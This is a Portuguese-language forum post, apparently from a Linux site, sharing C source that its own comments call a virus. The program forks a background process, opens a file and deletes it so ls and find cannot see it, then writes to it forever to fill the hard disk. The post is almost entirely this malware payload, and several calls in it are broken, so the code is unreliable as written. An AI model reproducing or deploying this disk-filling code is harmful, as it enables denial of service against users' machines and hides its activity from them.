Lota o HD com bagaço
Publicado por Geraldo José Ferreira Chagas Júnior 14/07/2008
[ Hits: 5.050 ]
Homepage: http://prginfo.blogspot.com
Cria um arquivo, mantém aberto e apaga, porém continua enchendo-o de dados. Dessa forma ele fica invisível ao usuário; nem o ls, nem o find poderão encontrá-lo.
/* progacao1.c */
#include <stdio.h>
#include <stdlib.h>
acao()
{
int ifd;
char
*buf=("1","2","3","4","5","6","7","8","9","0");
long c;
int desc;
close(1); /* fecha a saída padrão, o vídeo
*/
pipe (desc); /* com a saída padrão fechado,
fazemos com que a saída passe a ser o pipe. O
descritor dessa nova saida será armazenados em desc
*/
ifd=open("./lotaHD", "w+",0777); /* abre o
arquivo para escrita */
unlink("./lotaHD"); /* apaga o arquivo */
while (1)
{
write(ifd, buf, sizeof(buf)); /* em um loop
infinito grava os dados de buf no arquivo */
printf ("oi\n"); /* precisamos de um tempo
para a gravação, é o tempo que se escreve esta
string na saída. Por isso usamos o pipe. Não
queremos que o vírus fique escrevendo nada no vídeo
*/
}
}
main()
{
int i;
i=fork(); /* precisaremos criar um outro
processo, pois o vírus terá que continuar sua
execução enquanto sua ação é realizada. */
/* Não poderia ser uma thead, pois
mesmo que o programa hospedeiro se encerre, o
processo tem que continuar */
/* o processo filho que foi criado é quem deve
se encarregar da execução da ação, o pai tem que
continuar a executar as funcionalidades restantes
do vírus */
if (i==0)
acao();
}
Conversor decimal para binario para GNU/LINUX
Programa que Exibe centro da tela
Um algoritmo genético para o TSP (Travel Salesman Problem)
Contagem de elementos de um array
Nenhum comentário foi encontrado.
LazyDocker – Interface de Usuário em Tempo Real para o Docker
Instalando COSMIC no Linux Mint
Turbinando o Linux Mint: o poder das Nemo Actions
Inteligência Artificial no desenvolvimento de software: quando começar a usar?
Habilitando clipboard manager no ambiente COSMIC
A compatibilidade do LibreOffice com o Microsoft Office
Colocando hotcorner no COSMIC para exibir "workspaces"
Quais licenças open source têm valor jurídico? (0)
Problema com som no laptop (2)









